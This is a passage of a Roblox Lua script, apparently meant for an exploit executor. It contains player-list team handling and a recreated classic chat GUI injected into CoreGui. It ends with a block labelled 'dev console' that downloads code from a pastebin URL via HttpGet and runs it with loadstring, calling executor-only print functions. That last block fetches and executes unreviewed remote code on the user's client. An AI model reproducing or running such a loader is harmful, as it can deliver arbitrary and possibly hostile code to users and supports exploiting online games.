2660 entry['TeamScore'] = nchild.Value
2661 nchild.Changed:connect(function() TeamScoreChanged(entry,nchild.Value) end)
2662 end
2663end
2664--[[
2665 called when child added to a team, used for autohide functionality
2666 Note: still has teamscore, consiter removing
2667--]]
2668function TeamChildRemoved(entry,nchild)
2669 if nchild.Name == 'AutoHide' then
2670 entry['AutoHide'] = false
2671 elseif nchild.Name == 'TeamScore' then
2672 WaitForChild(entry['Frame'],'PlayerScore').Text = ""
2673 entry['TeamScore'] = nil
2674 end
2675end
2676
2677function TeamChanged(entry, property)
2678 if property=='Name' then
2679 WaitForChild(WaitForChild(entry['Frame'],'TitleFrame'),'Title').Text = entry['MyTeam'].Name
2680
2681 elseif property=='TeamColor' then
2682 entry['Frame'].ClickListener.BackgroundColor3 = entry['MyTeam'].TeamColor.Color
2683
2684 for _,i in pairs(TeamFrames) do
2685 if i['MyTeam'].TeamColor == entry['MyTeam'] then
2686 RemoveTeamFrame(entry['MyTeam']) --NO DUPLICATE TEAMS!
2687 end
2688 end
2689
2690 entry['MyPlayers']={}
2691
2692 for _,i in pairs(PlayerFrames) do
2693 SetPlayerToTeam(i)
2694 end
2695 BaseUpdate()
2696 end
2697end
2698
2699--[[
2700 creates team entry and frame for this team, sets up listeners for this team
2701 adds any players intended for this team,Creates neutral team if this is the first team added
2702 Note:might be best to break this into multiple functions to simplify
2703 @Args:
2704 nteam new team object added
2705--]]
2706function InsertTeamFrame(nteam)
2707 if not TEAMS_ENABLED then return end
2708 while AddingFrameLock do debugprint('in adding team frame lock') wait(1/30) end
2709 AddingFrameLock = true
2710 --for _,i in pairs(TeamFrames) do
2711 local nentry = {}
2712 nentry['MyTeam'] = nteam
2713 nentry['MyPlayers'] = {}
2714 nentry['Frame'] = MiddleTemplate:Clone()
2715 WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = nteam.Name
2716 nentry['Frame'].TitleFrame.Title.Font = 'ArialBold'
2717 nentry['Frame'].TitleFrame.Title.FontSize = 'Size18'
2718 nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0)
2719 nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0)
2720 nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0)
2721 WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end)
2722 nentry['Frame'].ClickListener.BackgroundColor3 = nteam.TeamColor.Color
2723 nentry['Frame'].ClickListener.BackgroundTransparency = .7
2724 nentry['Frame'].ClickListener.AutoButtonColor=false
2725 AddId = AddId + 1
2726 nentry['ID'] = AddId
2727 nentry['AutoHide'] = false
2728 if nteam:FindFirstChild('AutoHide') then
2729 nentry['AutoHide'] = true
2730 end
2731 if nteam:FindFirstChild('TeamScore') then
2732 TeamChildAdded(nentry,nteam.TeamScore)
2733
2734 end
2735
2736 nteam.ChildAdded:connect(function(nchild) TeamChildAdded(nentry,nchild) end)
2737 nteam.ChildRemoved:connect(function(nchild) TeamChildRemoved(nentry,nchild) end)
2738 nteam.Changed:connect(function(prop) TeamChanged(nentry,prop) end)
2739
2740 for _,i in pairs(PlayerFrames) do
2741 if not i['Player'].Neutral and i['Player'].TeamColor == nteam.TeamColor then
2742 AddPlayerToTeam(nentry,i)
2743 end
2744 end
2745 nentry['IsHidden'] = false
2746 if not nentry['AutoHide'] or #nentry['MyPlayers'] > 0 then
2747
2748 nentry['Frame'].Parent = ListFrame
2749 nentry['Frame']:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
2750 AddMiddleBGFrame()
2751 else
2752 nentry['IsHidden'] = true
2753 nentry['Frame'].Parent = nil
2754 end
2755
2756 table.insert(TeamFrames,nentry)
2757 UpdateMinimize()
2758 BaseUpdate()
2759 if #TeamFrames == 1 and not NeutralTeam then
2760 AddNeutralTeam()
2761 end
2762 AddingFrameLock = false
2763end
2764--[[
2765 removes team from team list
2766 @Args:
2767 nteam Teamobject to remove
2768--]]
2769function RemoveTeamFrame(nteam)
2770 while AddingFrameLock do debugprint('in removing team frame lock') wait(1/30) end
2771 AddingFrameLock = true
2772 if IsMinimized.Value then
2773 end
2774 local myEntry
2775 for i,key in ipairs(TeamFrames) do
2776 if nteam == key['MyTeam'] then
2777 myEntry = key
2778 key['Frame']:Destroy()
2779 table.remove(TeamFrames,i)
2780 end
2781 end
2782 if #TeamFrames==0 then
2783 debugprint('removeteamframe, remove neutral')
2784 if NeutralTeam then
2785 RemoveNeutralTeam()
2786 end
2787 end
2788 for i,key in ipairs(myEntry['MyPlayers']) do
2789 RemovePlayerFromTeam(myEntry,i)
2790 PlayerChanged(key, 'TeamColor')
2791 end
2792 RemoveMiddleBGFrame()
2793 BaseUpdate()
2794 AddingFrameLock = false
2795end
2796
2797function TeamAdded(nteam)
2798 InsertTeamFrame(nteam)
2799end
2800
2801function TeamRemoved(nteam)
2802 RemoveTeamFrame(nteam)
2803end
2804 ---------------------------------
2805--[[
2806 called when ANYTHING changes the state of the playerlist
2807 re-sorts everything,assures correct positions of all elements
2808--]]
2809function BaseUpdate()
2810 while BaseUpdateLock do debugprint('in baseupdate lock') wait(1/30) end
2811 BaseUpdateLock = true
2812 --print ('baseupdate')
2813 UpdateStatNames()
2814
2815 if #TeamFrames == 0 and not NeutralTeam then
2816 PlayerListModeUpdate()
2817 else
2818 TeamListModeUpdate()
2819 end
2820 for i,key in ipairs(MiddleFrames) do
2821 if key.Parent ~= nil then
2822 key:TweenPosition(UDim2.new(.5,0,((#MiddleFrames - (i)) * key.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
2823 end
2824 end
2825 if not IsMinimized.Value and #MiddleFrames>DefaultEntriesOnScreen then
2826 UpdateScrollPosition()
2827 end
2828
2829 UpdateMinimize()
2830
2831 UpdateScrollBarSize()
2832 UpdateScrollPosition()
2833
2834 UpdateScrollBarVisibility()
2835 --debugprint('EndBaseUpdate')
2836 BaseUpdateLock = false
2837end
2838
2839--[[
2840 code for attaching tab key to maximizing player list
2841--]]
2842--game.GuiService:AddKey("\t")
2843local LastTabTime = time()
2844Mouse.KeyDown:connect(
2845function(key)
2846 if key == "\t" then
2847 debugprint('caught tab key')
2848 local modalCheck, isModal = pcall(function() return game.GuiService.IsModalDialog end)
2849 if modalCheck == false or (modalCheck and isModal == false) then
2850 if time() - LastTabTime > 0.4 then
2851 LastTabTime = time()
2852 if IsTabified.Value then
2853 if not IsMaximized.Value then
2854 ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
2855 IsMaximized.Value = true
2856 else
2857 ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
2858 IsMaximized.Value = false
2859 IsMinimized.Value=true
2860 end
2861 else
2862 ToggleMaximize()
2863 end
2864
2865 end
2866 end
2867 end
2868end)
2869
2870
2871function PlayersChildAdded(tplayer)
2872 if tplayer:IsA('Player') then
2873 Spawn(function() debugPlayerAdd(tplayer) end)
2874 else
2875 BlowThisPopsicleStand()
2876 end
2877end
2878
2879function coreGuiChanged(coreGuiType, enabled)
2880-- if coreGuiType == Enum.CoreGuiType.All or coreGuiType == Enum.CoreGuiType.PlayerList then
2881-- MainFrame.Visible = enabled
2882-- end
2883end
2884
2885function TeamsChildAdded(nteam)
2886 if nteam:IsA('Team') then
2887 TeamAdded(nteam)
2888 else
2889 BlowThisPopsicleStand()
2890 end
2891end
2892
2893function TeamsChildRemoved(nteam)
2894 if nteam:IsA('Team') then
2895 TeamRemoved(nteam)
2896 else
2897 BlowThisPopsicleStand()
2898 end
2899end
2900
2901 ----------------------------
2902 -- Hookups and initialization
2903 ----------------------------
2904function debugPlayerAdd(p)
2905 InsertPlayerFrame(p)
2906end
2907
2908pcall(function()
2909 coreGuiChanged(Enum.CoreGuiType.PlayerList, Game.StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList))
2910 Game.StarterGui.CoreGuiChangedSignal:connect(coreGuiChanged)
2911end)
2912
2913while not game:GetService('Teams') do wait(1/30) debugprint('Waiting For Teams') end
2914for _,i in pairs(game.Teams:GetTeams()) do TeamAdded(i) end
2915for _,i in pairs(Players:GetPlayers()) do Spawn(function() debugPlayerAdd(i) end) end
2916
2917game.Teams.ChildAdded:connect(TeamsChildAdded)
2918game.Teams.ChildRemoved:connect(TeamsChildRemoved)
2919Players.ChildAdded:connect(PlayersChildAdded)
2920
2921InitReportAbuse()
2922AreNamesExpanded.Value = true
2923BaseUpdate()
2924
2925
2926
2927--UGGGLY,find a better way later
2928--wait(2)
2929IsPersonalServer= not not game.Workspace:FindFirstChild("PSVariable")
2930
2931 ----------------------------
2932 -- Running Logic
2933 ----------------------------
2934
2935 --debug stuffs, will only run for 'newplayerlistisbad'
2936 if LocalPlayer.Name == 'newplayerlistisbad' or LocalPlayer.Name == 'imtotallyadmin' then
2937 debugFrame.Parent = ScreenGui
2938 Spawn(function()
2939 while true do
2940 local str_players=''
2941 for _,i in pairs(game.Players:GetPlayers()) do
2942 str_players= str_players .." " .. i.Name
2943 end
2944 debugplayers.Text=str_players
2945 wait(.5)
2946 end
2947 end)
2948 end
2949
2950-- custom chat
2951-- Gui to Lua
2952-- Version: 3
2953
2954-- Instances:
2955
2956local ClassicChat = Instance.new("ScreenGui")
2957local ChatFrame = Instance.new("Frame")
2958local ChatRenderFrame = Instance.new("Frame")
2959local ClickToChat = Instance.new("TextButton")
2960local ChatBar = Instance.new("TextBox")
2961local Templates = Instance.new("Folder")
2962local SpaceButton = Instance.new("TextButton")
2963local mLabel = Instance.new("TextLabel")
2964local pLabel = Instance.new("TextLabel")
2965
2966--Properties:
2967
2968ClassicChat.Name = "ClassicChat"
2969ClassicChat.Parent = game.CoreGui
2970
2971ChatFrame.Name = "ChatFrame"
2972ChatFrame.Parent = ClassicChat
2973ChatFrame.BackgroundColor3 = Color3.new(0.698039, 0.698039, 0.698039)
2974ChatFrame.BackgroundTransparency = 1
2975ChatFrame.BorderColor3 = Color3.new(0, 0, 0)
2976ChatFrame.BorderSizePixel = 0
2977ChatFrame.Position = UDim2.new(0, 5, 0, 10)
2978ChatFrame.Size = UDim2.new(0, 500, 0, 120)
2979ChatFrame.ZIndex = 9
2980
2981ChatRenderFrame.Name = "ChatRenderFrame"
2982ChatRenderFrame.Parent = ChatFrame
2983ChatRenderFrame.BackgroundColor3 = Color3.new(0.698039, 0.698039, 0.698039)
2984ChatRenderFrame.BackgroundTransparency = 1
2985ChatRenderFrame.BorderColor3 = Color3.new(0, 0, 0)
2986ChatRenderFrame.BorderSizePixel = 0
2987ChatRenderFrame.Size = UDim2.new(1.01999998, 0, 1.00999999, 0)
2988ChatRenderFrame.ZIndex = 9
2989
2990ClickToChat.Name = "ClickToChat"
2991ClickToChat.Parent = ClassicChat
2992ClickToChat.BackgroundColor3 = Color3.new(1, 1, 1)
2993ClickToChat.BackgroundTransparency = 0.99000000953674
2994ClickToChat.BorderColor3 = Color3.new(0, 0, 0)
2995ClickToChat.BorderSizePixel = 0
2996ClickToChat.Position = UDim2.new(0, 0, 1, -20)
2997ClickToChat.Size = UDim2.new(1, 0, 0, 20)
2998ClickToChat.ZIndex = 9
2999ClickToChat.AutoButtonColor = false
3000ClickToChat.Text = ""
3001ClickToChat.TextColor3 = Color3.new(1, 1, 0.901961)
3002ClickToChat.TextSize = 12
3003ClickToChat.TextXAlignment = Enum.TextXAlignment.Left
3004
3005ChatBar.Name = "ChatBar"
3006ChatBar.Parent = ClassicChat
3007ChatBar.BackgroundColor3 = Color3.new(0.25098, 0.25098, 0.25098)
3008ChatBar.BorderColor3 = Color3.new(0, 0, 0)
3009ChatBar.BorderSizePixel = 0
3010ChatBar.Position = UDim2.new(0, 0, 1, -20)
3011ChatBar.Size = UDim2.new(1, 0, 0, 20)
3012ChatBar.ZIndex = 8
3013ChatBar.ClearTextOnFocus = false
3014ChatBar.PlaceholderText = "To chat click here or press the \"/\" key"
3015ChatBar.Text = ""
3016ChatBar.TextColor3 = Color3.new(1, 1, 1)
3017ChatBar.TextSize = 12
3018ChatBar.TextXAlignment = Enum.TextXAlignment.Left
3019
3020Templates.Name = "Templates"
3021Templates.Parent = ClassicChat
3022
3023SpaceButton.Name = "SpaceButton"
3024SpaceButton.Parent = Templates
3025SpaceButton.BackgroundColor3 = Color3.new(0.698039, 0.698039, 0.698039)
3026SpaceButton.BackgroundTransparency = 1
3027SpaceButton.Size = UDim2.new(0, 510, 0, 12)
3028SpaceButton.AutoButtonColor = false
3029SpaceButton.Text = ""
3030SpaceButton.TextSize = 12
3031
3032mLabel.Name = "mLabel"
3033mLabel.Parent = Templates
3034mLabel.BackgroundColor3 = Color3.new(0.698039, 0.698039, 0.698039)
3035mLabel.BackgroundTransparency = 0.20999999344349
3036mLabel.BorderSizePixel = 0
3037mLabel.Position = UDim2.new(0, 0, 1, 0)
3038mLabel.Size = UDim2.new(1, 0, 0.5, 0)
3039mLabel.Text = ""
3040mLabel.TextSize = 12
3041mLabel.TextWrapped = true
3042mLabel.TextXAlignment = Enum.TextXAlignment.Left
3043mLabel.TextYAlignment = Enum.TextYAlignment.Top
3044
3045pLabel.Name = "pLabel"
3046pLabel.Parent = Templates
3047pLabel.BackgroundColor3 = Color3.new(0.698039, 0.698039, 0.698039)
3048pLabel.BackgroundTransparency = 1
3049pLabel.BorderSizePixel = 0
3050pLabel.Position = UDim2.new(0, 0, 1, 0)
3051pLabel.Size = UDim2.new(1, 0, 0.100000001, 0)
3052pLabel.ZIndex = 2
3053pLabel.Text = "Player: "
3054pLabel.TextSize = 12
3055pLabel.TextStrokeColor3 = Color3.new(0.501961, 0.501961, 0.501961)
3056pLabel.TextXAlignment = Enum.TextXAlignment.Left
3057pLabel.TextYAlignment = Enum.TextYAlignment.Top
3058
3059-- Scripts:
3060
3061local function DNBDUT_fake_script() -- ClassicChat.ChatScript
3062 local script = Instance.new('LocalScript', ClassicChat)
3063
3064 --Script modified by EkoGam3.
3065 --Concept credit goes to Vermis.
3066
3067
3068
3069 local year = 2007
3070 game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
3071
3072 --Code
3073
3074 if year == 2007 then
3075 script.Parent.ClickToChat.TextColor3 = Color3.new(0, 0, 0)
3076 script.Parent.ChatBar.BackgroundColor3 = Color3.new(255/255, 255/255, 255/255)
3077 end
3078
3079 local Chat = {
3080 ChatColors = {
3081 BrickColor.new("Bright red"),
3082 BrickColor.new("Bright blue"),
3083 BrickColor.new("Earth green"),
3084 BrickColor.new("Bright violet"),
3085 BrickColor.new("Bright orange"),
3086 BrickColor.new("Bright yellow"),
3087 BrickColor.new("Light reddish violet"),
3088 BrickColor.new("Brick yellow"),
3089 };
3090
3091 Gui = nil,
3092 Frame = nil,
3093 RenderFrame = nil,
3094 TapToChatLabel = nil,
3095 ClickToChatButton = nil,
3096 Templates = nil,
3097 EventListener = nil,
3098 MessageQueue = {},
3099
3100 Configuration = {
3101 FontSize = Enum.FontSize.Size12,
3102 NumFontSize = 12,
3103 HistoryLength = 20,
3104 Size = UDim2.new(0.38, 0, 0.20, 0),
3105 MessageColor = Color3.new(1, 1, 1),
3106 AdminMessageColor = Color3.new(1, 215/255, 0),
3107 XScale = 0.025,
3108 LifeTime = 45,
3109 Position = UDim2.new(0, 2, 0.05, 0),
3110 DefaultTweenSpeed = 0.15,
3111 };
3112
3113 CachedSpaceStrings_List = {},
3114 Messages_List = {},
3115 MessageThread = nil,
3116 TempSpaceLabel = nil,
3117 }
3118
3119 function GetNameValue(pName)
3120 local value = 0
3121 for index = 1, #pName do
3122 local cValue = string.byte(string.sub(pName, index, index))
3123 local reverseIndex = #pName - index + 1
3124 if #pName%2 == 1 then
3125 reverseIndex = reverseIndex - 1
3126 end
3127 if reverseIndex%4 >= 2 then
3128 cValue = -cValue
3129 end
3130 value = value + cValue
3131 end
3132 return value%8
3133 end
3134
3135 function Chat:ComputeChatColor(pName)
3136 return self.ChatColors[GetNameValue(pName) + 1].Color
3137 end
3138
3139 function Chat:UpdateQueue(field, diff)
3140 for i = #self.MessageQueue, 1, -1 do
3141 if self.MessageQueue[i] then
3142 for _, label in pairs(self.MessageQueue[i]) do
3143 if label and type(label) ~= "table" and type(label) ~= "number" then
3144 if label:IsA("TextLabel") or label:IsA("TextButton") then
3145 if diff then
3146 label.Position = label.Position - UDim2.new(0, 0, diff, 0)
3147 else
3148 if field == self.MessageQueue[i] then
3149 label.Position = UDim2.new(self.Configuration.XScale, 0, label.Position.Y.Scale - field["Message"].Size.Y.Scale , 0)
3150 else
3151 label.Position = UDim2.new(self.Configuration.XScale, 0, label.Position.Y.Scale - field["Message"].Size.Y.Scale, 0)
3152 end
3153 if label.Position.Y.Scale < -0.01 then
3154 label.Visible = false
3155 label:Destroy()
3156 end
3157 end
3158 end
3159 end
3160 end
3161 end
3162 end
3163 end
3164
3165 function Chat:ComputeSpaceString(pLabel)
3166 local nString = " "
3167 if not self.TempSpaceLabel then
3168 self.TempSpaceLabel = self.Templates.SpaceButton
3169 self.TempSpaceLabel.Size = UDim2.new(0, pLabel.AbsoluteSize.X, 0, pLabel.AbsoluteSize.Y);
3170 end
3171 self.TempSpaceLabel.Text = nString
3172 while self.TempSpaceLabel.TextBounds.X < pLabel.TextBounds.X do
3173 nString = nString .. " "
3174 self.TempSpaceLabel.Text = nString
3175 end
3176 nString = nString .. " "
3177 self.CachedSpaceStrings_List[pLabel.Text] = nString
3178 self.TempSpaceLabel.Text = ""
3179 return nString
3180 end
3181
3182
3183 function Chat:UpdateChat(cPlayer, message)
3184 local messageField = {["Player"] = cPlayer,["Message"] = message}
3185 if coroutine.status(Chat.MessageThread) == "dead" then
3186 table.insert(Chat.Messages_List, messageField)
3187 Chat.MessageThread = coroutine.create(function ()
3188 for i = 1, #Chat.Messages_List do
3189 local field = Chat.Messages_List[i]
3190 Chat:CreateMessage(field["Player"], field["Message"])
3191 end
3192 Chat.Messages_List = {}
3193 end)
3194 coroutine.resume(Chat.MessageThread)
3195 else
3196 table.insert(Chat.Messages_List, messageField)
3197 end
3198 end
3199
3200 function Chat:CreateMessage(cPlayer, message)
3201 local pName = cPlayer ~= nil and cPlayer.Name or "GAME"
3202 message = message:gsub("^%s*(.-)%s*$", "%1")
3203 self.MessageQueue[#self.MessageQueue] = (#self.MessageQueue > self.Configuration.HistoryLength) and nil or self.MessageQueue[#self.MessageQueue]
3204 local pLabel = self.Templates.pLabel:clone()
3205 pLabel.Name = pName;
3206 pLabel.Text = pName .. ";";
3207 pLabel.Parent = self.RenderFrame;
3208 pLabel.TextColor3 = (cPlayer.Neutral) and Chat:ComputeChatColor(pName) or cPlayer.TeamColor.Color
3209 local nString = self.CachedSpaceStrings_List[pName] or Chat:ComputeSpaceString(pLabel)
3210 local mLabel = self.Templates.mLabel:clone()
3211 mLabel.Name = pName .. " - message";
3212 mLabel.TextColor3 = Chat.Configuration.MessageColor;
3213 mLabel.Text = nString .. message;
3214 mLabel.Parent = self.RenderFrame;
3215 local heightField = mLabel.TextBounds.Y
3216 mLabel.Size = UDim2.new(1, 0, heightField/self.RenderFrame.AbsoluteSize.Y, 0)
3217 pLabel.Size = mLabel.Size
3218 local yPixels = self.RenderFrame.AbsoluteSize.Y
3219 local yFieldSize = mLabel.TextBounds.Y
3220 local queueField = {}
3221 queueField["Player"] = pLabel
3222 queueField["Message"] = mLabel
3223 queueField["SpawnTime"] = tick()
3224 table.insert(self.MessageQueue, 1, queueField)
3225 Chat:UpdateQueue(queueField)
3226 end
3227
3228 function Chat:CreateChatBar()
3229 self.ClickToChatButton = self.Gui:WaitForChild("ClickToChat")
3230 self.ChatBar = self.Gui:WaitForChild("ChatBar")
3231 local mouse = game.Players.LocalPlayer:GetMouse()
3232 mouse.KeyDown:connect(function (key)
3233 if key:byte() == 47 or key == "/" then
3234 self.ClickToChatButton.Visible = false
3235 if year > 2007 then
3236 self.ChatBar.BackgroundColor3 = Color3.new(255/255, 255/255, 255/255)
3237 end
3238 self.ChatBar:CaptureFocus()
3239 end
3240 end)
3241 self.ClickToChatButton.MouseButton1Click:connect(function ()
3242 self.ClickToChatButton.Visible = false
3243 if year > 2007 then
3244 self.ChatBar.BackgroundColor3 = Color3.new(255/255, 255/255, 255/255)
3245 end
3246 self.ChatBar:CaptureFocus()
3247 end)
3248 end
3249
3250 function Chat:PlayerChat(message)
3251 local m = Instance.new("StringValue")
3252 m.Name = "NewMessage"
3253 m.Value = message
3254 m.Parent = game.Players.LocalPlayer
3255 game:GetService("Debris"):AddItem(m, 2)
3256 end
3257
3258 function Chat:CreateGui()
3259 self.Gui = script.Parent
3260 self.Frame = self.Gui:WaitForChild("ChatFrame")
3261 self.RenderFrame = self.Frame:WaitForChild("ChatRenderFrame")
3262 self.Templates = self.Gui:WaitForChild("Templates")
3263 Chat:CreateChatBar()
3264 self.ChatBar.FocusLost:connect(function(enterPressed)
3265 if enterPressed then
3266 local txt = self.ChatBar.Text
3267 Chat:CreateMessage(game.Players.LocalPlayer,txt)
3268 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(txt ,"All")
3269 self.ChatBar.Text = ''
3270 end
3271 end)
3272 end
3273
3274 function Chat:TrackPlayerChats()
3275 local function chatRegister(p)
3276 p.ChildAdded:connect(function (obj)
3277 if obj:IsA("StringValue") and obj.Name == "NewMessage" then
3278 if game.Players.LocalPlayer.Neutral or p.TeamColor == game.Players.LocalPlayer.TeamColor then
3279 Chat:UpdateChat(p, obj.Value)
3280 end
3281 end
3282 end)
3283 end
3284 for _,v in pairs(game.Players:GetPlayers()) do
3285 chatRegister(v)
3286 end
3287 game.Players.PlayerAdded:connect(chatRegister)
3288 end
3289
3290 function Chat:CullThread()
3291 Spawn(function ()
3292 while true do
3293 if #self.MessageQueue > 0 then
3294 for _, field in pairs(self.MessageQueue) do
3295 if field["SpawnTime"] and field["Player"] and field["Message"] and tick() - field["SpawnTime"] > self.Configuration.LifeTime then
3296 field["Player"].Visible = false
3297 field["Message"].Visible = false
3298 end
3299 end
3300 end
3301 wait(5)
3302 end
3303 end)
3304 end
3305
3306 function Chat:Initialize()
3307 Chat:CreateGui()
3308 Chat:TrackPlayerChats()
3309 self.MessageThread = coroutine.create(function () end)
3310 coroutine.resume(self.MessageThread)
3311 Chat:CullThread()
3312 end
3313
3314 Chat:Initialize()
3315
3316 local plrs = game.Players
3317
3318 local detect = function(p)
3319 p.Chatted:Connect(function(msg)
3320 Chat:CreateMessage(p,msg)
3321 end)
3322 end
3323
3324 plrs.PlayerAdded:Connect(function(p)
3325 detect(p)
3326 end)
3327
3328 for i,p in pairs(plrs:GetPlayers()) do
3329 detect(p)
3330 end
3331end
3332coroutine.wrap(DNBDUT_fake_script)()
3333local function EWRBJ_fake_script() -- ChatBar.f
3334 local script = Instance.new('LocalScript', ChatBar)
3335
3336 while wait() do
3337 if script.Parent.Text:sub(1,1) == '/' then
3338 script.Parent.Text = script.Parent.Text:sub(2,#script.Parent.Text)
3339 end
3340 end
3341end
3342coroutine.wrap(EWRBJ_fake_script)()
3343local function YXIJ_fake_script() -- ChatBar.autocolor
3344 local script = Instance.new('LocalScript', ChatBar)
3345
3346 while wait() do
3347 script.Parent.BackgroundColor3 = Color3.fromRGB(64, 64, 64)
3348 end
3349end
3350coroutine.wrap(YXIJ_fake_script)()
3351
3352-- dev console:
3353
3354local s, e = loadstring(game:HttpGet("https://pastebin.com/raw/uQ4wzMdR", true))
3355if typeof(s) ~= "function" then
3356return
3357end
3358local success, message = pcall(s)
3359if (not success) then
3360if printconsole then
3361printconsole(message)
3362elseif printoutput then
3363printoutput(message)
3364end
3365end